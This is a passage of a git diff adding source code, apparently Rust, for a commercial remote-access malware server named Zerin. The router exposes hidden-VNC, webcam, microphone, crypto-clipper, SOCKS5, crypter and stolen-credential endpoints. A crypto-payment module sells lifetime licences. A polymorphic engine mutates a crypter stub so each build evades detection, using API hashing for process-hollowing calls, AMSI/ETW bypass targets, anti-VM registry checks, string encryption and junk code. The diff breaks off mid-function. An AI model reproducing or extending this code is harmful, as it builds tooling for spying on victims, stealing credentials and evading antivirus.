post(api::vnc::stop_hvnc)) + .route("/api/agents/:id/hvnc/exec", post(api::vnc::hvnc_exec)) + .route("/api/agents/:id/webcam/start", post(api::vnc::start_webcam)) + .route("/api/agents/:id/webcam/stop", post(api::vnc::stop_webcam)) + .route("/api/agents/:id/mic/start", post(api::vnc::start_mic)) + .route("/api/agents/:id/mic/stop", post(api::vnc::stop_mic)) + .route("/api/agents/:id/chat", get(api::routes::get_chat).post(api::routes::send_chat)) + .route("/api/agents/:id/clipper", post(api::routes::clipper_action)) + .route("/api/agents/:id/socks5/start", post(api::socks5::start_socks5)) + .route("/api/agents/:id/socks5/stop", post(api::socks5::stop_socks5)) + .route("/api/agents/:id/socks5/status", get(api::socks5::socks5_status)) + .route("/api/server-info", get(api::routes::server_info)) + .route("/api/crypter/crypt", post(api::crypter::crypt_file)) + .route("/api/credentials", get(api::routes::list_credentials)); + + // Debug endpoints behind auth — only registered when ZERIN_DEBUG=1. + if debug_enabled { + protected_routes = protected_routes + .route("/api/debug/checkin", post(listeners::https::handle_debug_checkin)) + .route("/api/debug/beacon", post(listeners::https::handle_debug_beacon)); + } + + let protected_routes = protected_routes + .layer(middleware::from_fn(move |mut req: Request, next: Next| { + let secret = jwt_secret.clone(); + let pool = db_pool.clone(); + async move { + req.extensions_mut().insert(JwtSecret(secret)); + req.extensions_mut().insert(DbPool(pool)); + api::auth::auth_middleware(req, next).await + } + })); + + let cors = { + let methods = [ + Method::GET, + Method::POST, + Method::PUT, + Method::DELETE, + Method::OPTIONS, + ]; + if let Ok(origins) = std::env::var("ZERIN_CORS_ORIGINS") { + if origins.trim() == "*" { + // Explicitly opted into permissive CORS. + info!("CORS: allowing any origin (ZERIN_CORS_ORIGINS=*)"); + CorsLayer::new() + .allow_origin(AllowOrigin::any()) + .allow_methods(methods) + .allow_headers(Any) + } else { + // Comma-separated list of allowed origins, e.g. "https://zerin.example.com,http://localhost:5173" + let allowed: Vec<_> = origins + .split(',') + .filter_map(|s| s.trim().parse().ok()) + .collect(); + info!(count = allowed.len(), "CORS: allowing configured origins"); + CorsLayer::new() + .allow_origin(AllowOrigin::list(allowed)) + .allow_methods(methods) + .allow_headers(Any) + } + } else if config.web_root.is_some() { + // Dashboard co-hosted on the same origin — same-origin requests + // don't trigger CORS at all, so we use a restrictive default. + // Only localhost dev origins are allowed for cross-origin access. + // Set ZERIN_CORS_ORIGINS to open up if needed (e.g. reverse proxy). + info!("CORS: restrictive (dashboard co-hosted, same-origin). Set ZERIN_CORS_ORIGINS to allow cross-origin."); + CorsLayer::new() + .allow_origin(AllowOrigin::list([ + "http://localhost:5173".parse().unwrap(), + "http://localhost:3000".parse().unwrap(), + "http://127.0.0.1:5173".parse().unwrap(), + ])) + .allow_methods(methods) + .allow_headers(Any) + } else { + // Fallback: localhost dev origins + info!("CORS: allowing localhost dev origins only"); + CorsLayer::new() + .allow_origin(AllowOrigin::list([ + "http://localhost:5173".parse().unwrap(), + "http://localhost:3000".parse().unwrap(), + "http://127.0.0.1:5173".parse().unwrap(), + ])) + .allow_methods(methods) + .allow_headers(Any) + } + }; + + let mut api_app = Router::new() + .merge(public_routes) + .merge(ws_routes) + .merge(admin_routes) + .merge(protected_routes) + .layer(DefaultBodyLimit::max(55 * 1024 * 1024)) // 55 MiB for crypter PE uploads + multipart overhead + .layer(cors) + .layer(middleware::from_fn(security_headers_middleware)) + .with_state(state.clone()); + + // ── Static file serving for web dashboard ───────────────────────── + if let Some(ref web_root) = config.web_root { + if web_root.exists() { + let index = web_root.join("index.html"); + let serve_dir = ServeDir::new(web_root).fallback(ServeFile::new(&index)); + api_app = api_app.fallback_service(serve_dir); + info!(path = %web_root.display(), "Serving web dashboard"); + } else { + tracing::warn!(path = %web_root.display(), "Web root directory not found, skipping static serving"); + } + } + + // ── Start listeners ────────────────────────────────────────────────── + let api_bind = config.api_bind.clone(); + + // Spawn the agent HTTPS listener in a background task. + let listener_state = state.clone(); + tokio::spawn(async move { + if let Err(e) = listeners::start_https_listener(listener_state).await { + error!("HTTPS agent listener failed: {}", e); + } + }); + + // Start the operator API on the main task. + info!(bind = %api_bind, "Starting Operator API"); + + let api_listener = tokio::net::TcpListener::bind(&api_bind).await?; + info!("Operator API listening on {}", api_bind); + + state.event_bus.emit(events::Event::new( + "server_start", + "", + "", + &format!("Zerin team server started — API on {}", api_bind), + "info", + )); + + axum::serve( + api_listener, + api_app.into_make_service_with_connect_info::(), + ) + .await?; + + Ok(()) +} diff --git a/src/payments.rs b/src/payments.rs new file mode 100755 index 0000000..9756147 --- /dev/null +++ b/src/payments.rs @@ -0,0 +1,263 @@ +//! NOWPayments integration for crypto payment processing. +//! +//! Flow: +//! 1. POST /api/payments/create → creates NOWPayments invoice → returns invoice_url +//! 2. User pays on NOWPayments hosted page +//! 3. NOWPayments POSTs IPN webhook → POST /api/payments/webhook +//! 4. On status=finished → generate lifetime license key, store in DB +//! 5. User's success page polls GET /api/payments/:id/status → gets key + +use hmac::{Hmac, Mac}; +use sha2::Sha512; +use sqlx::PgPool; + +type HmacSha512 = Hmac; + +const NOWPAY_BASE: &str = "https://api.nowpayments.io/v1"; + +// ── NOWPayments API Client ────────────────────────────────────────── + +/// Create a NOWPayments invoice and return (invoice_id, invoice_url). +pub async fn create_invoice( + api_key: &str, + price_amount: f64, + price_currency: &str, + order_id: &str, + order_description: &str, + ipn_callback_url: &str, + success_url: &str, + cancel_url: &str, +) -> Result<(String, String), String> { + let client = reqwest::Client::new(); + + let body = serde_json::json!({ + "price_amount": price_amount, + "price_currency": price_currency, + "order_id": order_id, + "order_description": order_description, + "ipn_callback_url": ipn_callback_url, + "success_url": success_url, + "cancel_url": cancel_url, + }); + + let resp = client + .post(format!("{}/invoice", NOWPAY_BASE)) + .header("x-api-key", api_key) + .header("Content-Type", "application/json") + .json(&body) + .send() + .await + .map_err(|e| format!("NOWPayments request failed: {}", e))?; + + if !resp.status().is_success() { + let status = resp.status(); + let text = resp.text().await.unwrap_or_default(); + return Err(format!("NOWPayments error {}: {}", status, text)); + } + + let data: serde_json::Value = resp + .json() + .await + .map_err(|e| format!("Failed to parse NOWPayments response: {}", e))?; + + let invoice_id = data["id"] + .as_str() + .or_else(|| data["id"].as_i64().map(|_| "")) + .unwrap_or(""); + + // NOWPayments returns id as a number, convert to string + let invoice_id = if invoice_id.is_empty() { + data["id"] + .as_i64() + .map(|n| n.to_string()) + .unwrap_or_default() + } else { + invoice_id.to_string() + }; + + let invoice_url = data["invoice_url"] + .as_str() + .unwrap_or("") + .to_string(); + + if invoice_id.is_empty() || invoice_url.is_empty() { + return Err(format!( + "Missing invoice_id or invoice_url in response: {}", + data + )); + } + + Ok((invoice_id, invoice_url)) +} + +// ── IPN Signature Verification ────────────────────────────────────── + +/// Verify NOWPayments IPN webhook signature. +/// The signature is HMAC-SHA512 of the JSON body with keys sorted alphabetically. +pub fn verify_ipn_signature( + ipn_secret: &str, + body: &serde_json::Value, + signature: &str, +) -> bool { + // Sort keys and build canonical JSON + let sorted = sort_json_value(body); + let canonical = serde_json::to_string(&sorted).unwrap_or_default(); + + let mut mac = match HmacSha512::new_from_slice(ipn_secret.as_bytes()) { + Ok(m) => m, + Err(_) => return false, + }; + mac.update(canonical.as_bytes()); + let result = mac.finalize().into_bytes(); + let expected = hex::encode(result); + + // Constant-time comparison to prevent timing side-channel attacks + if expected.len() != signature.len() { + return false; + } + expected + .bytes() + .zip(signature.bytes()) + .fold(0u8, |acc, (a, b)| acc | (a ^ b)) + == 0 +} + +/// Recursively sort JSON object keys alphabetically. +fn sort_json_value(val: &serde_json::Value) -> serde_json::Value { + match val { + serde_json::Value::Object(map) => { + let mut sorted = serde_json::Map::new(); + let mut keys: Vec<&String> = map.keys().collect(); + keys.sort(); + for key in keys { + sorted.insert(key.clone(), sort_json_value(&map[key])); + } + serde_json::Value::Object(sorted) + } + serde_json::Value::Array(arr) => { + serde_json::Value::Array(arr.iter().map(sort_json_value).collect()) + } + other => other.clone(), + } +} + +// ── Database Queries ──────────────────────────────────────────────── + +pub async fn insert_payment( + pool: &PgPool, + payment_id: &str, + nowpay_invoice_id: &str, + amount: f64, + currency: &str, + ip_address: &str, + tier: &str, +) -> Result<(), sqlx::Error> { + sqlx::query( + "INSERT INTO payments (payment_id, nowpay_invoice_id, amount, currency, ip_address, tier) + VALUES ($1, $2, $3, $4, $5, $6) + ON CONFLICT (payment_id) DO NOTHING", + ) + .bind(payment_id) + .bind(nowpay_invoice_id) + .bind(amount) + .bind(currency) + .bind(ip_address) + .bind(tier) + .execute(pool) + .await?; + Ok(()) +} + +pub async fn update_payment_status( + pool: &PgPool, + payment_id: &str, + status: &str, + nowpay_payment_id: Option<&str>, +) -> Result<(), sqlx::Error> { + sqlx::query( + "UPDATE payments SET status = $2, nowpay_payment_id = COALESCE($3, nowpay_payment_id) + WHERE payment_id = $1", + ) + .bind(payment_id) + .bind(status) + .bind(nowpay_payment_id) + .execute(pool) + .await?; + Ok(()) +} + +pub async fn complete_payment( + pool: &PgPool, + payment_id: &str, + license_key: &str, +) -> Result<(), sqlx::Error> { + sqlx::query( + "UPDATE payments SET status = 'finished', license_key = $2, + completed_at = CURRENT_TIMESTAMP::text + WHERE payment_id = $1", + ) + .bind(payment_id) + .bind(license_key) + .execute(pool) + .await?; + Ok(()) +} + +#[derive(Debug, serde::Serialize)] +pub struct PaymentRecord { + pub payment_id: String, + pub status: String, + pub license_key: Option, + pub amount: f64, + pub currency: String, + pub created_at: String, + pub tier: String, +} + +pub async fn get_payment( + pool: &PgPool, + payment_id: &str, +) -> Result, sqlx::Error> { + let row = sqlx::query_as::<_, (String, String, Option, f64, String, String, String)>( + "SELECT payment_id, status, license_key, amount, currency, created_at, tier + FROM payments WHERE payment_id = $1", + ) + .bind(payment_id) + .fetch_optional(pool) + .await?; + + Ok(row.map(|(payment_id, status, license_key, amount, currency, created_at, tier)| { + PaymentRecord { + payment_id, + status, + license_key, + amount, + currency, + created_at, + tier, + } + })) +} + +/// Find a payment by its NOWPayments order_id (which is our payment_id). +/// Returns the tier string so the webhook can propagate it to the license key. +pub async fn get_payment_by_order_id( + pool: &PgPool, + order_id: &str, +) -> Result, sqlx::Error> { + let row = sqlx::query_as::<_, (String,)>( + "SELECT tier FROM payments WHERE payment_id = $1", + ) + .bind(order_id) + .fetch_optional(pool) + .await?; + Ok(row.map(|(tier,)| tier)) +} + +// ── Hex encoding (minimal — avoids adding hex crate) ──────────────── + +mod hex { + pub fn encode(data: impl AsRef<[u8]>) -> String { + data.as_ref().iter().map(|b| format!("{:02x}", b)).collect() + } +} diff --git a/src/polymorph.rs b/src/polymorph.rs new file mode 100755 index 0000000..e8f7566 --- /dev/null +++ b/src/polymorph.rs @@ -0,0 +1,1412 @@ +//! Polymorphic + Metamorphic engine for crypter stub mutation. +//! +//! Transforms C source files after placeholder patching and before GCC +//! compilation so every build produces a structurally unique binary. +//! +//! 7 transformation layers applied in order: +//! 1. Identifier randomization (polymorphic) +//! 2. String literal encryption (polymorphic) +//! 3. Junk code insertion (polymorphic) +//! 4. Instruction substitution + patch byte obfuscation (metamorphic) +//! 5. Code block reordering (metamorphic) +//! 6. Opaque predicates (metamorphic) +//! 7. Compile-time flag variation (polymorphic) + +use rand::seq::SliceRandom; +use rand::Rng; +use std::collections::HashMap; +use std::collections::HashSet; +use std::path::Path; +use tracing::info; + +// ── Configuration ──────────────────────────────────────────────────── + +pub struct MutationConfig { + pub rename_identifiers: bool, + pub encrypt_strings: bool, + pub insert_junk: bool, + pub substitute_instructions: bool, + pub reorder_blocks: bool, + pub opaque_predicates: bool, + pub vary_compiler_flags: bool, +} + +impl Default for MutationConfig { + fn default() -> Self { + Self { + rename_identifiers: true, + encrypt_strings: true, + insert_junk: true, + substitute_instructions: true, + reorder_blocks: true, + opaque_predicates: true, + vary_compiler_flags: true, + } + } +} + +// ── Public API ─────────────────────────────────────────────────────── + +pub fn mutate_sources(work_dir: &Path, config: &MutationConfig) -> Result, String> { + let mut rng = rand::thread_rng(); + + // Read .c and .h files EXCEPT decrypt_layer.c (multi-MB hex array, already unique) + let mut sources: HashMap = HashMap::new(); + for entry in std::fs::read_dir(work_dir).map_err(|e| format!("read work_dir: {}", e))? { + let entry = entry.map_err(|e| format!("read entry: {}", e))?; + let name = entry.file_name().to_string_lossy().to_string(); + if (name.ends_with(".c") || name.ends_with(".h")) && name != "decrypt_layer.c" { + let content = std::fs::read_to_string(entry.path()) + .map_err(|e| format!("read {}: {}", name, e))? + .replace("\r\n", "\n"); + sources.insert(name, content); + } + } + info!(files = sources.len(), "POLY loaded files"); + + // Layer 0: API hash patching (must happen before all other layers) + patch_api_hashes(&mut sources, &mut rng); + + // Layer 5 first (uses original names for pattern matching) + if config.reorder_blocks { + for src in sources.values_mut() { + reorder_evasion_calls(src, &mut rng); + } + } + + // Layer 1: Identifier randomization + if config.rename_identifiers { + rename_identifiers(&mut sources, &mut rng); + } + + // Layer 2: String encryption (narrow + wide) + if config.encrypt_strings { + encrypt_strings(&mut sources, &mut rng); + encrypt_wide_strings(&mut sources, &mut rng); + } + + // Layer 3: Junk code insertion (skip .h files — file-scope junk is invalid C) + if config.insert_junk { + for (name, src) in sources.iter_mut() { + if name.ends_with(".c") { + insert_junk_code(src, &mut rng); + } + } + } + + // Layer 4: Instruction substitution + patch byte obfuscation + if config.substitute_instructions { + for src in sources.values_mut() { + substitute_instructions(src, &mut rng); + obfuscate_patch_bytes(src, &mut rng); + } + } + + // Layer 6: Opaque predicates (skip .h files — scope issues at file level) + if config.opaque_predicates { + for (name, src) in sources.iter_mut() { + if name.ends_with(".c") { + insert_opaque_predicates(src, &mut rng); + } + } + } + + // Write all sources back + for (name, content) in &sources { + std::fs::write(work_dir.join(name), content) + .map_err(|e| format!("write {}: {}", name, e))?; + } + + // Layer 7: Compiler flag variation + let extra_flags = if config.vary_compiler_flags { + vary_compiler_flags(&mut rng) + } else { + vec![] + }; + + info!(files = sources.len(), flags = extra_flags.len(), "POLY mutations applied"); + Ok(extra_flags) +} + +// ── Layer 0: API Hash Patching ─────────────────────────────────────── + +/// Module names for DJB2 hash computation (hashed as lowercased wide chars). +const API_MODULES: &[(&str, &str)] = &[ + ("HASH_NTDLL", "ntdll.dll"), + ("HASH_KERNEL32", "kernel32.dll"), + ("HASH_ADVAPI32", "advapi32.dll"), + ("HASH_USER32", "user32.dll"), + ("HASH_AMSI", "amsi.dll"), +]; + +/// Function names for DJB2 hash computation (hashed as exact-case ASCII). +const API_FUNCTIONS: &[(&str, &str)] = &[ + // ntdll + ("HASH_NtUnmapViewOfSection", "NtUnmapViewOfSection"), + ("HASH_NtQueryInformationProcess", "NtQueryInformationProcess"), + // kernel32 + ("HASH_LoadLibraryA", "LoadLibraryA"), + ("HASH_CreateProcessW", "CreateProcessW"), + ("HASH_GetThreadContext", "GetThreadContext"), + ("HASH_SetThreadContext", "SetThreadContext"), + ("HASH_ResumeThread", "ResumeThread"), + ("HASH_TerminateProcess", "TerminateProcess"), + ("HASH_ReadProcessMemory", "ReadProcessMemory"), + ("HASH_WriteProcessMemory", "WriteProcessMemory"), + ("HASH_VirtualAllocEx", "VirtualAllocEx"), + ("HASH_VirtualAlloc", "VirtualAlloc"), + ("HASH_VirtualProtect", "VirtualProtect"), + ("HASH_VirtualFree", "VirtualFree"), + ("HASH_CreateThread", "CreateThread"), + ("HASH_WaitForSingleObject", "WaitForSingleObject"), + ("HASH_CloseHandle", "CloseHandle"), + ("HASH_ExitProcess", "ExitProcess"), + ("HASH_Sleep", "Sleep"), + ("HASH_GetTickCount64", "GetTickCount64"), + ("HASH_GlobalMemoryStatusEx", "GlobalMemoryStatusEx"), + ("HASH_GetSystemInfo", "GetSystemInfo"), + ("HASH_IsDebuggerPresent", "IsDebuggerPresent"), + ("HASH_GetCurrentProcess", "GetCurrentProcess"), + ("HASH_QueryPerformanceFrequency", "QueryPerformanceFrequency"), + ("HASH_QueryPerformanceCounter", "QueryPerformanceCounter"), + ("HASH_GetSystemDirectoryA", "GetSystemDirectoryA"), + ("HASH_lstrcatA", "lstrcatA"), + ("HASH_CreateFileA", "CreateFileA"), + ("HASH_GetFileSize", "GetFileSize"), + ("HASH_CreateFileMappingA", "CreateFileMappingA"), + ("HASH_MapViewOfFile", "MapViewOfFile"), + ("HASH_UnmapViewOfFile", "UnmapViewOfFile"), + // advapi32 + ("HASH_RegOpenKeyExA", "RegOpenKeyExA"), + ("HASH_RegCloseKey", "RegCloseKey"), + // user32 + ("HASH_GetCursorPos", "GetCursorPos"), + // fiber APIs (kernel32) + ("HASH_ConvertThreadToFiber", "ConvertThreadToFiber"), + ("HASH_CreateFiber", "CreateFiber"), + ("HASH_SwitchToFiber", "SwitchToFiber"), + ("HASH_DeleteFiber", "DeleteFiber"), + ("HASH_FlushInstructionCache", "FlushInstructionCache"), + // lazy-resolved (not in ApiTable struct, but need hash constants) + ("HASH_EtwEventWrite", "EtwEventWrite"), + ("HASH_AmsiOpenSession", "AmsiOpenSession"), +]; + +/// DJB2 hash for module names (lowercased, matching PEB wide-char iteration). +fn djb2_hash_module(seed: u32, name: &str) -> u32 { + let mut hash = seed; + for c in name.chars() { + let lower = c.to_ascii_lowercase() as u32; + hash = hash.wrapping_mul(33).wrapping_add(lower); + } + hash +} + +/// DJB2 hash for function names (exact case ASCII, matching PE export names). +fn djb2_hash_func(seed: u32, name: &str) -> u32 { + let mut hash = seed; + for &b in name.as_bytes() { + hash = hash.wrapping_mul(33).wrapping_add(b as u32); + } + hash +} + +/// Generate random DJB2 seed, compute all hashes, check for collisions, +/// and patch placeholder values in all source files. +fn patch_api_hashes(sources: &mut HashMap, rng: &mut impl Rng) { + let (seed, mod_hashes, fn_hashes) = loop { + let seed: u32 = rng.gen(); + if seed == 0xDEADBEEF { continue; } + + let mod_hashes: Vec = API_MODULES.iter() + .map(|(_, name)| djb2_hash_module(seed, name)) + .collect(); + let fn_hashes: Vec = API_FUNCTIONS.iter() + .map(|(_, name)| djb2_hash_func(seed, name)) + .collect(); + + // Collision detection: all hashes must be unique and not equal to placeholder + let mut seen = HashSet::new(); + let mut ok = true; + for &h in mod_hashes.iter().chain(fn_hashes.iter()) { + if h == 0xDEADBEEF || !seen.insert(h) { + ok = false; + break; + } + } + if ok { + break (seed, mod_hashes, fn_hashes); + } + }; + + info!(seed = format!("0x{:08X}", seed), "POLY API hash seed generated"); + + // Patch all source files + for src in sources.values_mut() { + // Patch seed + *src = src.replace( + "#define API_HASH_SEED 0xDEADBEEF", + &format!("#define API_HASH_SEED 0x{:08X}", seed), + ); + + // Patch module hashes + for (i, (define_name, _)) in API_MODULES.iter().enumerate() { + *src = src.replace( + &format!("#define {} 0xDEADBEEF", define_name), + &format!("#define {} 0x{:08X}", define_name, mod_hashes[i]), + ); + } + + // Patch function hashes + for (i, (define_name, _)) in API_FUNCTIONS.iter().enumerate() { + *src = src.replace( + &format!("#define {} 0xDEADBEEF", define_name), + &format!("#define {} 0x{:08X}", define_name, fn_hashes[i]), + ); + } + } +} + +// ── Helpers ────────────────────────────────────────────────────────── + +fn random_ident(rng: &mut impl Rng) -> String { + let len = rng.gen_range(8..=12); + let mut s = String::with_capacity(len + 1); + s.push('_'); + s.push((b'a' + rng.gen_range(0..26)) as char); + for _ in 2..=len { + if rng.gen_bool(0.7) { + s.push((b'a' + rng.gen_range(0..26)) as char); + } else { + s.push((b'0' + rng.gen_range(0..10)) as char); + } + } + s +} + +fn unique_ident(rng: &mut impl Rng, existing: &[String]) -> String { + loop { + let id = random_ident(rng); + if !existing.iter().any(|v| v == &id) { + return id; + } + } +} + +fn is_ident_char(b: u8) -> bool { + b.is_ascii_alphanumeric() || b == b'_' +} + +/// Check if a line ends with a continuation operator (=, comma, logical/binary op, etc.) +/// indicating the next line is NOT a standalone statement. +fn is_continuation_line(line: &str) -> bool { + let t = line.trim(); + t.ends_with('=') + || t.ends_with(',') + || t.ends_with("&&") + || t.ends_with("||") + || t.ends_with('+') + || t.ends_with('-') + || t.ends_with('\\') + || t.ends_with('(') +} + +/// Escape a runtime string value to its C source representation. +/// `\` → `\\`, etc. +fn to_c_literal(s: &str) -> String { + s.replace('\\', "\\\\") +} + +/// Find byte offset right after the last #include / #pragma line. +/// Only tracks the include block at the top of the file — stops once we see +/// a non-preprocessor, non-comment, non-empty line (i.e., actual code). +fn find_after_includes(src: &str) -> usize { + let mut last_end = 0; + let mut offset = 0; + for line in src.lines() { + let trimmed = line.trim(); + if trimmed.starts_with("#include") || trimmed.starts_with("#pragma") { + last_end = offset + line.len() + 1; + } else if !trimmed.is_empty() + && !trimmed.starts_with("//") + && !trimmed.starts_with("/*") + && !trimmed.starts_with("*") + && !trimmed.starts_with('#') + { + // Hit actual code — stop scanning so we don't match + // #ifdef _WIN64 or similar directives inside function bodies. + break; + } + offset += line.len() + 1; + } + last_end.min(src.len()) +} + +/// Count unclosed parentheses on a line (skips strings/chars/comments). +/// Returns net open parens (positive = unclosed parens remain open). +fn count_open_parens(line: &str) -> i32 { + let mut depth = 0i32; + let bytes = line.as_bytes(); + let mut i = 0; + let mut in_string = false; + let mut in_char = false; + while i < bytes.len() { + if in_string { + if bytes[i] == b'\\' && i + 1 < bytes.len() { i += 2; continue; } + if bytes[i] == b'"' { in_string = false; } + } else if in_char { + if bytes[i] == b'\\' && i + 1 < bytes.len() { i += 2; continue; } + if bytes[i] == b'\'' { in_char = false; } + } else { + if bytes[i] == b'"' { in_string = true; } + else if bytes[i] == b'\'' { in_char = true; } + else if bytes[i] == b'/' && i + 1 < bytes.len() && bytes[i + 1] == b'/' { break; } + else if bytes[i] == b'(' { depth += 1; } + else if bytes[i] == b')' { depth -= 1; } + } + i += 1; + } + depth +} + +/// Detect if a brace-depth transition 0→≥1 on this line represents a function body. +fn is_function_body_open(trimmed: &str) -> bool { + if !trimmed.ends_with('{') { + return false; + } + // Struct / enum / typedef / array / static const data — NOT a function body + if trimmed.starts_with("typedef") + || trimmed.starts_with("enum") + || (trimmed.starts_with("static const") && !trimmed.contains('(')) + || (trimmed.starts_with("const ") && !trimmed.contains('(')) + || (trimmed.contains("[]") && trimmed.contains('=')) + { + return false; + } + true +} + +/// Count brace opens/closes on a line, skipping strings and comments. +fn count_braces(line: &str) -> (i32, i32) { + let mut opens = 0i32; + let mut closes = 0i32; + let bytes = line.as_bytes(); + let mut i = 0; + let mut in_string = false; + let mut in_char = false; + while i < bytes.len() { + if in_string { + if bytes[i] == b'\\' && i + 1 < bytes.len() { + i += 2; + continue; + } + if bytes[i] == b'"' { + in_string = false; + } + } else if in_char { + if bytes[i] == b'\\' && i + 1 < bytes.len() { + i += 2; + continue; + } + if bytes[i] == b'\'' { + in_char = false; + } + } else { + if bytes[i] == b'"' { + in_string = true; + } else if bytes[i] == b'\'' { + in_char = true; + } else if bytes[i] == b'/' && i + 1 < bytes.len() && bytes[i + 1] == b'/' { + break; // rest is comment + } else if bytes[i] == b'{' { + opens += 1; + } else if bytes[i] == b'}' { + closes += 1; + } + } + i += 1; + } + (opens, closes) +} + +// ── Layer 1: Identifier Randomization ──────────────────────────────── + +/// Identifiers to rename. Excludes decrypt_payload/xor_decrypt/aes_decrypt +/// (defined in decrypt_layer.c which is excluded from polymorph). +const RENAME_TARGETS: &[&str] = &[ + "secure_wipe", + "runpe_execute", + "shellcode_execute", + "evasion_anti_sandbox_init", + "evasion_anti_debug_init", + "evasion_unhook_init", + "evasion_amsi_init", + "evasion_etw_init", + "evasion_sleep_init", + "evasion_init_all", + "exit_if_sandbox", + "exit_if_debugged", + "check_sleep_timing", + "check_ram", + "check_cpu_count", + "check_cursor_movement", + "check_vm_registry", + "check_is_debugger_present", + "check_debug_port", + "check_timing", + "check_nt_global_flag", + "SLEEP_SECONDS", + "TARGET_PROCESS", + "api_resolve_init", + "api_resolve_func", + "g_api", + "peb_get_module", + "peb_get_proc", + "resolve_api", + "djb2_hash_wide_lower", + "djb2_hash_ascii", + "ApiTable", + "AR_LDR_DATA_TABLE_ENTRY", + "PAR_LDR_DATA_TABLE_ENTRY", + "AR_PEB_LDR_DATA", + "PAR_PEB_LDR_DATA", + "AR_PEB", + "PAR_PEB", + "reflective_execute", + "map_pe_sections", + "process_relocations", + "resolve_pe_imports", + "section_protection", + "fiber_entry", + "FiberContext", + "derive_key", + "key_mask", + "xor_key_enc", + "aes_key_enc", + "aes_iv_enc", +]; + +fn rename_identifiers(sources: &mut HashMap, rng: &mut impl Rng) { + // Build shared rename map (consistent across all files) + let mut replacements: Vec = Vec::new(); + let renames: Vec<(&str, String)> = RENAME_TARGETS + .iter() + .map(|&name| { + let new = unique_ident(rng, &replacements); + replacements.push(new.clone()); + (name, new) + }) + .collect(); + + for src in sources.values_mut() { + *src = rename_single_pass(src, &renames); + } +} + +/// Single-pass identifier replacement. Scans the source once, tokenizes +/// identifiers, and replaces matches. Skips strings and comments. +fn rename_single_pass(src: &str, renames: &[(&str, String)]) -> String { + let bytes = src.as_bytes(); + let mut result = String::with_capacity(src.len()); + let mut i = 0; + + while i < bytes.len() { + // Skip string literals + if bytes[i] == b'"' { + result.push('"'); + i += 1; + while i < bytes.len() && bytes[i] != b'"' { + if bytes[i] == b'\\' && i + 1 < bytes.len() { + result.push(bytes[i] as char); + result.push(bytes[i + 1] as char); + i += 2; + } else { + result.push(bytes[i] as char); + i += 1; + } + } + if i < bytes.len() { + result.push('"'); + i += 1; + } + continue; + } + + // Skip char literals + if bytes[i] == b'\'' { + result.push('\''); + i += 1; + while i < bytes.len() && bytes[i] != b'\'' { + if bytes[i] == b'\\' && i + 1 < bytes.len() { + result.push(bytes[i] as char); + result.push(bytes[i + 1] as char); + i += 2; + } else { + result.push(bytes[i] as char); + i += 1; + } + } + if i < bytes.len() { + result.push('\''); + i += 1; + } + continue; + } + + // Skip line comments + if bytes[i] == b'/' && i + 1 < bytes.len() && bytes[i + 1] == b'/' { + while i < bytes.len() && bytes[i] != b'\n' { + result.push(bytes[i] as char); + i += 1; + } + continue; + } + + // Skip block comments + if bytes[i] == b'/' && i + 1 < bytes.len() && bytes[i + 1] == b'*' { + result.push('/'); + result.push('*'); + i += 2; + while i + 1 < bytes.len() && !(bytes[i] == b'*' && bytes[i + 1] == b'/') { + result.push(bytes[i] as char); + i += 1; + } + if i + 1 < bytes.len() { + result.push('*'); + result.push('/'); + i += 2; + } + continue; + } + + // Identifier token + if bytes[i] == b'_' || bytes[i].is_ascii_alphabetic() { + let start = i; + while i < bytes.len() && is_ident_char(bytes[i]) { + i += 1; + } + let word = &src[start..i]; + let mut replaced = false; + for (original, replacement) in renames { + if word == *original { + result.push_str(replacement); + replaced = true; + break; + } + } + if !replaced { + result.push_str(word); + } + continue; + } + + result.push(bytes[i] as char); + i += 1; + } + + result +} + +// ── Layer 2: String Encryption ─────────────────────────────────────── + +/// Strings to encrypt. These are actual runtime values — backslashes are +/// real backslashes (not C escape sequences). +const ENCRYPTABLE_STRINGS: &[&str] = &[ + "amsi.dll", + "advapi32.dll", + "user32.dll", + "\\ntdll.dll", + "SOFTWARE\\Oracle\\VirtualBox Guest Additions", + "SOFTWARE\\VMware, Inc.\\VMware Tools", + "SYSTEM\\CurrentControlSet\\Services\\VBoxGuest", + "SYSTEM\\CurrentControlSet\\Services\\VBoxMouse", + "SYSTEM\\CurrentControlSet\\Services\\VBoxSF", + "SYSTEM\\CurrentControlSet\\Services\\vmci", + "SYSTEM\\CurrentControlSet\\Services\\vmhgfs", + "SYSTEM\\CurrentControlSet\\Services\\QEMU", +]; + +fn encrypt_strings(sources: &mut HashMap, rng: &mut impl Rng) { + let keys: Vec = sources + .keys() + .filter(|k| k.ends_with(".c")) + .cloned() + .collect(); + + for file_key in &keys { + let src = match sources.get(file_key) { + Some(s) => s.clone(), + None => continue, + }; + + // Find which strings appear in this file + let mut found: Vec<(&str, u8, String, String)> = Vec::new(); // (actual_value, xor_key, enc_var, dec_buf) + let mut counter = 0u32; + + for &target in ENCRYPTABLE_STRINGS { + let c_literal = format!("\"{}\"", to_c_literal(target)); + if src.contains(&c_literal) { + let key: u8 = rng.gen_range(0x01..=0xFF); + let enc_var = format!("_es{}", counter); + let dec_buf = format!("_ds{}", counter); + found.push((target, key, enc_var, dec_buf)); + counter += 1; + } + } + + if found.is_empty() { + continue; + } + + // Build file-scope declarations: encrypted arrays + decoded buffers + let mut decls = String::new(); + let mut decode_body = String::new(); + let init_fn = random_ident(rng); + + for (actual_value, key, enc_var, dec_buf) in &found { + let bytes = actual_value.as_bytes(); + let encrypted: Vec = + bytes.iter().map(|b| format!("0x{:02X}", b ^ key)).collect(); + + decls.push_str(&format!( + "static unsigned char {}[]={{{}}};\n", + enc_var, + encrypted.join(",") + )); + decls.push_str(&format!("static char {}[{}];\n", dec_buf, bytes.len() + 1)); + + decode_body.push_str(&format!( + " {{unsigned char _k=0x{:02X};for(unsigned _i=0;_i<{};_i++) \ + {}[_i]=(char)({}[_i]^_k);{}[{}]=0;}}\n", + key, + bytes.len(), + dec_buf, + enc_var, + dec_buf, + bytes.len() + )); + } + + // Build lazy-init decode function + let init_fn_code = format!( + "static void {}(void){{static int _d=0;if(_d)return;_d=1;\n{}}}\n", + init_fn, decode_body + ); + + // Inject after includes + let inject_pos = find_after_includes(&src); + let mut new_src = + String::with_capacity(src.len() + decls.len() + init_fn_code.len() + 512); + new_src.push_str(&src[..inject_pos]); + new_src.push('\n'); + new_src.push_str(&decls); + new_src.push_str(&init_fn_code); + new_src.push_str(&src[inject_pos..]); + + // Replace string literals with decoded buffer names + for (actual_value, _, _, dec_buf) in &found { + let c_literal = format!("\"{}\"", to_c_literal(actual_value)); + new_src = new_src.replace(&c_literal, dec_buf); + } + + // Inject init call at the start of each function body + new_src = inject_init_calls(&new_src, 